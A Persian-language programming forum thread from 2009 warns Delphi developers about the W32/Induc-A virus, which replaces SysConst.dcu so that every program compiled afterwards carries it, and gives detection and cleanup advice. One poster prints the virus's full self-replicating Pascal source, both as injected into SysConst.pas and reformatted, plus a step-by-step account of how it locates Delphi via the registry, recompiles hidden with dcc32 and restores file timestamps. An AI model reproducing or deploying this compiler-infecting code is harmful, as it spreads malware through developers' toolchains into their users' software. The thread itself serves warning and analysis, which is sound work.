ورود

View Full Version : خبر: ویروسی که دلفی را هدف قرار می دهد!



vcldeveloper
چهارشنبه 28 مرداد 1388, 02:30 صبح
جدیدا ویروسی در روسیه کشف شده که کار جالبی میکنه؛ این ویروس، در صورت نصب بودن دلفی نسخه 4 تا 7 بر روی سیستم قربانی، مسیر پوشه Lib را از رجیستری پیدا کرده، و فایل SysConst.dcu موجود در آن را با یک فایل SysConst.dcu جدید جایگزین میکنه. فایل جایگزین شده حاوی یکسری کدهای اضافه دلفی هست که موجب تکثیر این ویروس میشه.
فایل SysConst.dcu از جمله یونیت هایی هست که در همه برنامه های کامپایل شده در دلفی استفاده میشه، در نتیجه بعد از تغییر این فایل، هر برنامه ایی که با آن دلفی کامپایل بشه، حاوی کد مخرب اضافه شده خواهد بود، و موجب تکثیر این ویروس میشه!

البته به دلیل وجود یک باگ در این ویروس، در صورت اجرای برنامه ایی که با آن آلوده شده باشه، برنامه پیغام خطای runtime error 3 میده. این ویروس خطرناک نیست، و فقط خودش را تکثیر میکنه.

فعلا ظاهرا فقط کاسپرسکی در بین آنتی ویروس های مطرح این ویروس را شناسایی میکنه. کسایی که نسخه های 4 تا 7 دلفی را بر روی سیستم خودشان نصب کردند، می توانند با باز کردن فایل SysConst.dcu در Notepad و جستجو برای عبارت زیر، متوجه ویروسی شدن سیستم خودشان بشوند:

CreateFile(pchar(d+$bak$),0,0,0,3,0,0);

اگر این عبارت در این فایل وجود داشت، پس سیستم شما به این ویروس آلوده شده. دقت کنید که آلوده شدن به این ویروس به معنای آن است که همه برنامه هایی که بعد از آلوده شدن سیستم شما به این ویروس، توسط آن نسخه از دلفی کامپایل شدند، هم ویروسی هستند! پس باید همه پروژه هایی که بعد از آلوده شدن، کامپایل کردید را مجددا کامپایل کنید.


لینک منبع (http://blog.eurekalog.com/?p=244)

hadisalahi2
پنج شنبه 29 مرداد 1388, 08:56 صبح
آقای کشاورز این ویروس فقط تا دلفی 7 عمل میکنه؟
احتمال داره نسخه های بالاتر از 7نیز ویروسی باشند؟
من توی ویندوز دیگم دلفی 7 نصب کردم و مجبورم بعضی برنامه ها رو توی اون ویندوز و اون دلفی کامپایل کنم، حالا اگه همون فایلهای دلفی 7 رو توی 2007 باز کنم ، احتمال ویروسی شدن سیستم هست؟

Tasnim
پنج شنبه 29 مرداد 1388, 10:19 صبح
Original SysConst.pas

{ ************************************************** ********************* }
{ }
{ Delphi / Kylix Cross-Platform Runtime Library }
{ }
{ Copyright (c) 1995, 2001 Borland Software Corporation }
{ }
{ ************************************************** ********************* }

unit SysConst;

interface

resourcestring
SUnknown = '<unknown>';
SInvalidInteger = '''%s'' is not a valid integer value';
SInvalidFloat = '''%s'' is not a valid floating point value';
SInvalidCurrency = '''%s'' is not a valid currency value';
SInvalidDate = '''%s'' is not a valid date';
SInvalidTime = '''%s'' is not a valid time';
SInvalidDateTime = '''%s'' is not a valid date and time';
SInvalidDateTimeFloat = '''%g'' is not a valid date and time';
SInvalidTimeStamp = '''%d.%d'' is not a valid timestamp';
SInvalidGUID = '''%s'' is not a valid GUID value';
SInvalidBoolean = '''%s'' is not a valid boolean value';
STimeEncodeError = 'Invalid argument to time encode';
SDateEncodeError = 'Invalid argument to date encode';
SOutOfMemory = 'Out of memory';
SInOutError = 'I/O error %d';
SFileNotFound = 'File not found';
SInvalidFilename = 'Invalid filename';
STooManyOpenFiles = 'Too many open files';
SAccessDenied = 'File access denied';
SEndOfFile = 'Read beyond end of file';
SDiskFull = 'Disk full';
SInvalidInput = 'Invalid numeric input';
SDivByZero = 'Division by zero';
SRangeError = 'Range check error';
SIntOverflow = 'Integer overflow';
SInvalidOp = 'Invalid floating point operation';
SZeroDivide = 'Floating point division by zero';
SOverflow = 'Floating point overflow';
SUnderflow = 'Floating point underflow';
SInvalidPointer = 'Invalid pointer operation';
SInvalidCast = 'Invalid class typecast';
{$IFDEF MSWINDOWS}
SAccessViolationArg3 = 'Access violation at address %p. %s of address %p';
{$ENDIF}
{$IFDEF LINUX}
SAccessViolationArg2 = 'Access violation at address %p, accessing address %p';
{$ENDIF}
SAccessViolationNoArg = 'Access violation';
SStackOverflow = 'Stack overflow';
SControlC = 'Control-C hit';
SQuit = 'Quit key hit';
SPrivilege = 'Privileged instruction';
SOperationAborted = 'Operation aborted';
SException = 'Exception %s in module %s at %p.' + sLineBreak + '%s%s' + sLineBreak;
SExceptTitle = 'Application Error';
{$IFDEF LINUX}
SSigactionFailed = 'sigaction call failed';
{$ENDIF}
SInvalidFormat = 'Format ''%s'' invalid or incompatible with argument';
SArgumentMissing = 'No argument for format ''%s''';
SDispatchError = 'Variant method calls not supported';
SReadAccess = 'Read';
SWriteAccess = 'Write';
SResultTooLong = 'Format result longer than 4096 characters';
SFormatTooLong = 'Format string too long';

SVarArrayCreate = 'Error creating variant or safe array';
SVarArrayBounds = 'Variant or safe array index out of bounds';
SVarArrayLocked = 'Variant or safe array is locked';
SVarArrayWithHResult = 'Unexpected variant or safe array error: %s%.8x';

SInvalidVarCast = 'Invalid variant type conversion';
SInvalidVarOp = 'Invalid variant operation';
SInvalidVarNullOp = 'Invalid NULL variant operation';
SInvalidVarOpWithHResultWithPrefix = 'Invalid variant operation (%s%.8x)'#10'%s';
SVarTypeRangeCheck1 = 'Range check error for variant of type (%s)';
SVarTypeRangeCheck2 = 'Range check error while converting variant of type (%s) into type (%s)';
SVarTypeOutOfRangeWithPrefix = 'Custom variant type (%s%.4x) is out of range';
SVarTypeAlreadyUsedWithPrefix = 'Custom variant type (%s%.4x) already used by %s';
SVarTypeNotUsableWithPrefix = 'Custom variant type (%s%.4x) is not usable';
SVarTypeTooManyCustom = 'Too many custom variant types have been registered';

// the following are not used anymore
SVarNotArray = 'Variant is not an array' deprecated; // not used, use SVarInvalid instead
SVarTypeUnknown = 'Unknown custom variant type ($%.4x)' deprecated; // not used anymore
SVarTypeOutOfRange = 'Custom variant type ($%.4x) is out of range' deprecated;
SVarTypeAlreadyUsed = 'Custom variant type ($%.4x) already used by %s' deprecated;
SVarTypeNotUsable = 'Custom variant type ($%.4x) is not usable' deprecated;
SInvalidVarOpWithHResult = 'Invalid variant operation ($%.8x)' deprecated;

SVarTypeCouldNotConvert = 'Could not convert variant of type (%s) into type (%s)';
SVarTypeConvertOverflow = 'Overflow while converting variant of type (%s) into type (%s)';
SVarOverflow = 'Variant overflow';
SVarInvalid = 'Invalid argument';
SVarBadType = 'Invalid variant type';
SVarNotImplemented = 'Operation not supported';
SVarOutOfMemory = 'Variant operation ran out memory';
SVarUnexpected = 'Unexpected variant error';

SVarDataClearRecursing = 'Recursion while doing a VarDataClear';
SVarDataCopyRecursing = 'Recursion while doing a VarDataCopy';
SVarDataCopyNoIndRecursing = 'Recursion while doing a VarDataCopyNoInd';
SVarDataInitRecursing = 'Recursion while doing a VarDataInit';
SVarDataCastToRecursing = 'Recursion while doing a VarDataCastTo';
SVarIsEmpty = 'Variant is empty';
sUnknownFromType = 'Cannot convert from the specified type';
sUnknownToType = 'Cannot convert to the specified type';
SExternalException = 'External exception %x';
SAssertionFailed = 'Assertion failed';
SIntfCastError = 'Interface not supported';
SSafecallException = 'Exception in safecall method';
SAssertError = '%s (%s, line %d)';
SAbstractError = 'Abstract Error';
SModuleAccessViolation = 'Access violation at address %p in module ''%s''. %s of address %p';
SCannotReadPackageInfo = 'Cannot access package information for package ''%s''';
sErrorLoadingPackage = 'Can''t load package %s.'+sLineBreak+'%s';
SInvalidPackageFile = 'Invalid package file ''%s''';
SInvalidPackageHandle = 'Invalid package handle';
SDuplicatePackageUnit = 'Cannot load package ''%s.'' It contains unit ''%s,''' +
'which is also contained in package ''%s''';
SOSError = 'System Error. Code: %d.'+sLineBreak+'%s';
SUnkOSError = 'A call to an OS function failed';
{$IFDEF MSWINDOWS}
SWin32Error = 'Win32 Error. Code: %d.'#10'%s' deprecated; // use SOSError
SUnkWin32Error = 'A Win32 API function failed' deprecated; // use SUnkOSError
{$ENDIF}
SNL = 'Application is not licensed to use this feature';

SShortMonthNameJan = 'Jan';
SShortMonthNameFeb = 'Feb';
SShortMonthNameMar = 'Mar';
SShortMonthNameApr = 'Apr';
SShortMonthNameMay = 'May';
SShortMonthNameJun = 'Jun';
SShortMonthNameJul = 'Jul';
SShortMonthNameAug = 'Aug';
SShortMonthNameSep = 'Sep';
SShortMonthNameOct = 'Oct';
SShortMonthNameNov = 'Nov';
SShortMonthNameDec = 'Dec';

SLongMonthNameJan = 'January';
SLongMonthNameFeb = 'February';
SLongMonthNameMar = 'March';
SLongMonthNameApr = 'April';
SLongMonthNameMay = 'May';
SLongMonthNameJun = 'June';
SLongMonthNameJul = 'July';
SLongMonthNameAug = 'August';
SLongMonthNameSep = 'September';
SLongMonthNameOct = 'October';
SLongMonthNameNov = 'November';
SLongMonthNameDec = 'December';

SShortDayNameSun = 'Sun';
SShortDayNameMon = 'Mon';
SShortDayNameTue = 'Tue';
SShortDayNameWed = 'Wed';
SShortDayNameThu = 'Thu';
SShortDayNameFri = 'Fri';
SShortDayNameSat = 'Sat';

SLongDayNameSun = 'Sunday';
SLongDayNameMon = 'Monday';
SLongDayNameTue = 'Tuesday';
SLongDayNameWed = 'Wednesday';
SLongDayNameThu = 'Thursday';
SLongDayNameFri = 'Friday';
SLongDayNameSat = 'Saturday';

{$IFDEF LINUX}
SEraEntries = '';
{$ENDIF}

SCannotCreateDir = 'Unable to create directory';
SCodesetConversionError = 'Codeset conversion failure';

implementation

end.

Tasnim
پنج شنبه 29 مرداد 1388, 10:22 صبح
After infection :

SLongMonthNameJan = 'January';
SLongMonthNameFeb = 'February';
SLongMonthNameMar = 'March';
SLongMonthNameApr = 'April';
SLongMonthNameMay = 'May';
SLongMonthNameJun = 'June';
SLongMonthNameJul = 'July';
SLongMonthNameAug = 'August';
SLongMonthNameSep = 'September';
SLongMonthNameOct = 'October';
SLongMonthNameNov = 'November';
SLongMonthNameDec = 'December';

SShortDayNameSun = 'Sun';
SShortDayNameMon = 'Mon';
SShortDayNameTue = 'Tue';
SShortDayNameWed = 'Wed';
SShortDayNameThu = 'Thu';
SShortDayNameFri = 'Fri';
SShortDayNameSat = 'Sat';

SLongDayNameSun = 'Sunday';
SLongDayNameMon = 'Monday';
SLongDayNameTue = 'Tuesday';
SLongDayNameWed = 'Wednesday';
SLongDayNameThu = 'Thursday';
SLongDayNameFri = 'Friday';
SLongDayNameSat = 'Saturday';

{$IFDEF LINUX}
SEraEntries = '';
{$ENDIF}

SCannotCreateDir = 'Unable to create directory';
SCodesetConversionError = 'Codeset conversion failure';

implementation
uses windows; var sc:array[1..24] of string=(
'uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b: boolean;t1,t2,t3:FILETIME;begin',
'ج:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar (d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e +$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile( pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=Cre ateFile(pchar(d+$bak$),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi \$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');
function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]
=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;
h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:b oolean;t1,t2,t3:FILETIME;begin
ج:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle
(h);exit;end;{'I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile
(f2,d+'pas');rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while
not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos('implementation',s)<>0
then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2
,''''+sc[h],''',');writeln(f2,''''+sc[24]+''');');for h:= 2 to 24 do writeln(f2,
x(sc[h]));closefile(f1);closefile(f2);{'I+}MoveFile(pchar (d+'dcu'),pchar(d+'bak'
)); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.
wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+ '"'+d+'pas"'),0,0,false,0,0,0,
f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile( pchar(d+'bak'),
pchar(d+'dcu'));DeleteFile(pchar(d+'pas'));h:=Crea teFile(pchar(d+'bak'),0,0,0,3,
0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=
CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,
@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of
char; i:cardinal; r:string; v:char; begin for v:='4' to '7' do if RegOpenKeyEx(
HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\ '+v+'.0'),0,KEY_READ,k)=0 then
begin i:=255;if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then begin r:='';i:=
1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+'sourcertlsysSysConst'+
'.pas',r+'libsysconst.','"'+r+'\bin\dcc32.exe" );end;RegCloseKey(k);end; end;
begin st; end.

Tasnim
پنج شنبه 29 مرداد 1388, 10:25 صبح
Virus Algo :

var sc: array[1..24] of string = (
'uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b: boolean;t1,t2,t3:FILETIME;begin',
'?:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar (d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e +$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile( pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=Cre ateFile(pchar(d+$bak$),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi \$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');

function x(s: string): string;
var i: integer;
begin
for i := 1 to length(s) do if s[i] = #36 then
s[i] := #39;
result := s;
end;

procedure re(s, d, e: string);
var f1, f2: textfile;
h: cardinal;
f: STARTUPINFO;
p: PROCESS_INFORMATION;
b: boolean;
t1, t2, t3: FILETIME;
begin
h := CreateFile(pchar(d + 'bak'), 0, 0, 0, 3, 0, 0);
if h <> DWORD(-1) then
begin CloseHandle(h);
exit;
end;
{'I-}
assignfile(f1, s);
reset(f1);
if ioresult <> 0 then
exit;
assignfile(f2, d + 'pas');
rewrite(f2);
if ioresult <> 0 then
begin closefile(f1);
exit;
end;
while not eof(f1) do
begin readln(f1, s);
writeln(f2, s);
if pos('implementation', s) <> 0 then
break;
end;
for h := 1 to 1 do
writeln(f2, sc[h]);
for h := 1 to 23 do writeln(f2, '''' + sc[h], ''',');
writeln(f2, '''' + sc[24] + ''');');
for h := 2 to 24 do writeln(f2, x(sc[h]));
closefile(f1);
closefile(f2);
{'I+}
MoveFile(pchar(d + 'dcu'), pchar(d + 'bak'));
fillchar(f, sizeof(f), 0);
f.cb := sizeof(f);
f.dwFlags := STARTF_USESHOWWINDOW;
f.wShowWindow := SW_HIDE;
b := CreateProcess(nil, pchar(e + '"' + d + 'pas"'), 0, 0, false, 0, 0, 0, f, p);
if b then
WaitForSingleObject(p.hProcess, INFINITE);
MoveFile(pchar(d + 'bak'), pchar(d + 'dcu'));
DeleteFile(pchar(d + 'pas'));
h := CreateFile(pchar(d + 'bak'), 0, 0, 0, 3, 0, 0);
if h = DWORD(-1) then
exit;
GetFileTime(h, @t1, @t2, @t3);
CloseHandle(h);
h := CreateFile(pchar(d + 'dcu'), 256, 0, 0, 3, 0, 0);
if h = DWORD(-1) then
exit;
SetFileTime(h, @t1, @t2, @t3);
CloseHandle(h);
end;

procedure st;
var k: HKEY; c: array[1..255] of char;
i: cardinal;
r: string;
v: char;
begin
for v := '4' to '7' do
if RegOpenKeyEx(HKEY_LOCAL_MACHINE, pchar('Software\Borland\Delphi\' + v + '.0'), 0, KEY_READ, k) = 0 then
begin i := 255;
if RegQueryValueEx(k, 'RootDir', nil, @i, @c, @i) = 0 then
begin r := '';
i := 1;
while c[i] <> #0 do
begin r := r + c[i];
inc(i);
end;
re(r + 'sourcertlsysSysConst' + '.pas', r + 'libsysconst.', '"' + r + '\bin\dcc32.exe" );
end;
RegCloseKey(k);
end;
end;

Tasnim
پنج شنبه 29 مرداد 1388, 10:29 صبح
نحوه کار این ویروس :

1- Virus copy SysConst.pas from source\rtl\sys directory to bin directory.
2- Add malicious code into SysConst.pas copy.
3- Use dcc32.exe to make SysConst.dcu.
4- Make SysConst.bak backup and delete original file.

Virus Test if SysConst.bak exists, using CreateFile, with returned result virus run infection routine or not.

hadisalahi2
پنج شنبه 29 مرداد 1388, 13:29 عصر
با سلام
جناب Tasnim (http://www.barnamenevis.org/forum/member.php?u=21665) میشه بفرمایید این کدهایی که نوشتید چه استفاده ای دارند؟

vcldeveloper
پنج شنبه 29 مرداد 1388, 16:16 عصر
من توی ویندوز دیگم دلفی 7 نصب کردم و مجبورم بعضی برنامه ها رو توی اون ویندوز و اون دلفی کامپایل کنم، حالا اگه همون فایلهای دلفی 7 رو توی 2007 باز کنم ، احتمال ویروسی شدن سیستم هست؟
ویروس فقط نسخه های 4 تا 7 دلفی را هدف قرار میده، وقتی برنامه ایی آلوده باشه، و روی سیستم های دیگه اجرا بشه، ویروس سعی میکنه دلفی 4 تا 7 را روی آن سیستم ها پیدا کنه، و با تغییر فایل SysConst.dcu آنها خودش را گسترش بده. البته کار خاصی روی سیستم انجام نمیده. در هر حال بهتر هست همیشه آنتی ویروس خودتان را بروز نگهدارید.

این ویروس به خودی خود بی خطر هست، ولی روش استفاده شده برای آلوده کردن سیستم ها، روش خطرناکی هست که نه تنها برای دلفی، بلکه برای هر کامپایلر دیگه ایی میتونه مشکل ساز باشه. البته این مدل از ویروس ها کاربران عادی را هدف قرار نمیدند، بلکه برنامه نویسان را هدف قرار میدن.


جناب Tasnim (http://www.barnamenevis.org/forum/member.php?u=21665) میشه بفرمایید این کدهایی که نوشتید چه استفاده ای دارند؟
هیچی، یکی سورس اصلی فایل SysConst.pas هست، یکی سورس فایل SysConst.pas ایی که ویروس تولید و سپس کامپایل میکنه، یکی هم الگوریتم خودِ ویروس.

MOJTABAATEFEH
یک شنبه 01 شهریور 1388, 14:39 عصر
سلام آيا ميشه كد اورجينال را در فايل آلوده جايگزين كرد و آيا اينجوري مشكلش حل ميشه؟

با تشكر

vcldeveloper
یک شنبه 01 شهریور 1388, 15:08 عصر
آيا ميشه كد اورجينال را در فايل آلوده جايگزين كرد و آيا اينجوري مشكلش حل ميشه؟

باید سورس Original را کامپایل کنید، و فایل DCU تولید شده را با فایل آلوده جایگزین کنید.

MIDOSE
دوشنبه 02 شهریور 1388, 01:09 صبح
ببخشید نمی شد این مسئله

ویروسی که دلفی را هدف قرار می دهد!
را در بخش خود دلفی مطرح کنید، چون این مسئله فقط مختص دلفی کاران هست و مربوط به همه نیست(فکر کنم بخشی هم به نام اخبار مرتبط با دلفی هم وجود دارد).

پ.ن:اخبار مربوط به هر زبان برنامه نویسی در بخش خودش مطرح بشه خیلی بهتره(نظم => راحتی).

vcldeveloper
دوشنبه 02 شهریور 1388, 03:01 صبح
را در بخش خود دلفی مطرح کنید، چون این مسئله فقط مختص دلفی کاران هست و مربوط به همه نیست
نه، به سه دلیل:
اولا این مسئله مختص به دلفی نیست. درست هست که این ویروس خاص مربوط به دلفی هست، ولی این یک هشدار برای تمامی برنامه نویسان با هر محیط توسعه ایی هست، که نسل خاصی از ویروس ها در حال شکل گیری است که بطور خاص برنامه نویسان و ابزارهای آنها را هدف قرار می دهند. همین کاری که این ویروس برای کامپایل یکی از سورس کدهای مربوط به Runtime دلفی انجام میده را می توان برای هر کامپایلر دیگه ایی هم انجام داد. چه بسا همین الان همچین ویروسی برای کامپایل مورد استفاده شما منتشر شده باشه، و سیستم شما را آلوده کرده باشه! در واقع علت لو رفتن این ویروس خاص هم اشتباه در اجرای یک کد توسط این ویروس بود، وگرنه چه بسا به این زودی ها کسی متوجه وجود آن نمی شد!

ثانیا، تالار اخبار مربوط به تازه های فناوری است، مسلما اخبار دلفی بسیار بیشتر به موضوع این سایت ارتباط پیدا می کند، تا اخباری مثل هک شدن فلان سایت، یا سیاست های شرکت ها در برابر هم.

ثالثا، انتشار اخبار ابزارهای مختلف برنامه نویسی در یک تالار خاص باعث میشه که کاربرانی که با برخی ابزارها آشنایی ندارند هم فرصت آشنایی با آن ابزارها را پیدا کنند.
الان کاربران سایر بخش ها اخبار مربوط به دلفی را در لا به لای تاپیک های این بخش می بینند. این اخبار یک دفعه ایجاد نشدند، بلکه قبلا هم مرتبا خبرهای جدید از پیشرفت های دلفی می رسید، ولی ما آن را فقط در یک تاپیک طولانی و قدیمی در تالار دلفی منتشر می کردیم. کاربرانی هم که کاربر دلفی هستند، و فقط تمایل به دیدن اخبار دلفی دارند، می توانند این صفحه (http://www.barnamenevis.org/forum/tags.php?tag=%D8%A7%D8%AE%D8%A8%D8%A7%D8%B1+%D8%AF %D9%84%D9%81%DB%8C) را Bookmark کنند، و نیازی به گشتن در یک تاپیک طولانی یا جستجو در لابه لای تاپیک های این تالار ندارند.

MSHService
دوشنبه 02 شهریور 1388, 15:00 عصر
نه، به سه دلیل:
اولا این مسئله مختص به دلفی نیست. درست هست که این ویروس خاص مربوط به دلفی هست، ولی این یک هشدار برای تمامی برنامه نویسان با هر محیط توسعه ایی هست، که نسل خاصی از ویروس ها در حال شکل گیری است که بطور خاص برنامه نویسان و ابزارهای آنها را هدف قرار می دهند. همین کاری که این ویروس برای کامپایل یکی از سورس کدهای مربوط به Runtime دلفی انجام میده را می توان برای هر کامپایلر دیگه ایی هم انجام داد. چه بسا همین الان همچین ویروسی برای کامپایل مورد استفاده شما منتشر شده باشه، و سیستم شما را آلوده کرده باشه! در واقع علت لو رفتن این ویروس خاص هم اشتباه در اجرای یک کد توسط این ویروس بود، وگرنه چه بسا به این زودی ها کسی متوجه وجود آن نمی شد!

ثانیا، تالار اخبار مربوط به تازه های فناوری است، مسلما اخبار دلفی بسیار بیشتر به موضوع این سایت ارتباط پیدا می کند، تا اخباری مثل هک شدن فلان سایت، یا سیاست های شرکت ها در برابر هم.

ثالثا، انتشار اخبار ابزارهای مختلف برنامه نویسی در یک تالار خاص باعث میشه که کاربرانی که با برخی ابزارها آشنایی ندارند هم فرصت آشنایی با آن ابزارها را پیدا کنند.
الان کاربران سایر بخش ها اخبار مربوط به دلفی را در لا به لای تاپیک های این بخش می بینند. این اخبار یک دفعه ایجاد نشدند، بلکه قبلا هم مرتبا خبرهای جدید از پیشرفت های دلفی می رسید، ولی ما آن را فقط در یک تاپیک طولانی و قدیمی در تالار دلفی منتشر می کردیم. کاربرانی هم که کاربر دلفی هستند، و فقط تمایل به دیدن اخبار دلفی دارند، می توانند این صفحه (http://www.barnamenevis.org/forum/tags.php?tag=%D8%A7%D8%AE%D8%A8%D8%A7%D8%B1+%D8%AF %D9%84%D9%81%DB%8C) را Bookmark کنند، و نیازی به گشتن در یک تاپیک طولانی یا جستجو در لابه لای تاپیک های این تالار ندارند.


چه بسا به این زودی ها کسی متوجه وجود آن نمی شدسلام با اجازه استاد.
استاد جان تمام exe های من از 04 2009 این ویروس رو دارند!!! پس خوب کار کرده. Avira تازه شناختش در حالیه که sysconst رو هم تشخیص نمیده اما کسپر تشخیص میده!

اسمشم induc.a هست،چونtagه این ویروس رو نداشت من نفهمیدم تو بخشه دلفی براش تاپیک زدم.:افسرده::گریه:

ببخشید.

m-khorsandi
دوشنبه 02 شهریور 1388, 15:14 عصر
اين مطلب امروز تو سايت About Delphi نوشته شده؛

سئوال :
W32/Induc-A، ويروسی برای دلفی - آيا برنامه‌ی شما آلوده خواهد شد؟
نام ويروس W32/Induc-A، هدف آن محيط توسعه دلفی، مخصوصا نسخه‌های 4، 5 ، 6 و 7 است. ويروس باعث می‌شود برنامه به شكل آلوده كامپايل شود. اساساً اين ويروس كار ديگه‌ای انجام نمی‌دهد اما در صورت آلوده شدن برنامه با مشكلاتی روبرو خواهيد بود. ممكن است آنتی ويروس‌ها برنامه‌ی شما رو قرنطينه و از اجرای اون جلوگيری كنند.

بايد نگران باشيد؟ W32/Induc-A چه كاری انجام می‌دهد؟ چطور می‌توان محيط توسعه را محافظت كرد؟...

جواب:
وقتی توسط دلفیِ آلوده، برنامه‌ را كامپايل كنيد، برنامه‌ی شما آلوده به اين ويروس می‌شود. هدف ويروس نسخه‌های قديمی دلفی (4-7 و البته بعضی منابع دلفی 8 رو هم ذكر كرده‌اند.) و جايگزينی فايل SysConst.dcu با فايل SysConst.dcu ويروس است كه در فولدر root>\Lib> قرار دارد(ظاهراً TimeStamp فايل‌ تغيير داده شده با فايل اصلی يكسان است).
ماشينی كه واقعاً آلوده شده، كتابخانه‌ی زمان اجرای دلفی را تغيير می‌دهد طوری كه باعث آلوده شدن فايل اجرایی در زمان كامپايل می‌شود. اگه در فولدر Lib دلفی، فايل‌های SysConst.dcu و SysCont.bak تغيير داده شده داريد، كامپيوترتان آلوده شده‌است. با يك آنتی ويروس كامپيوترتان را چك كنيد. وقتی مشكل ويروس كامپيوتر را توسط آنتی ويروس حل كرديد، می‌توانيد برای بازيابی فايل SysConst.dcu به جای اينكه دلفی را دوباره نصب كنيد، اين فايل رو از CD نصب دلفی كپی كنيد.

منبع :W32/Induc-A - The Delphi Virus. Will Your Applications Be Affected? (http://delphi.about.com/od/humorandfun/f/w32-induc-a-delphi-virus.htm)

m-khorsandi
دوشنبه 02 شهریور 1388, 20:34 عصر
Frequently Asked Questions about the W32/Induc-A Virus (Compile-A-Virus) (http://edn.embarcadero.com/article/39851)

vcldeveloper
سه شنبه 03 شهریور 1388, 00:13 صبح
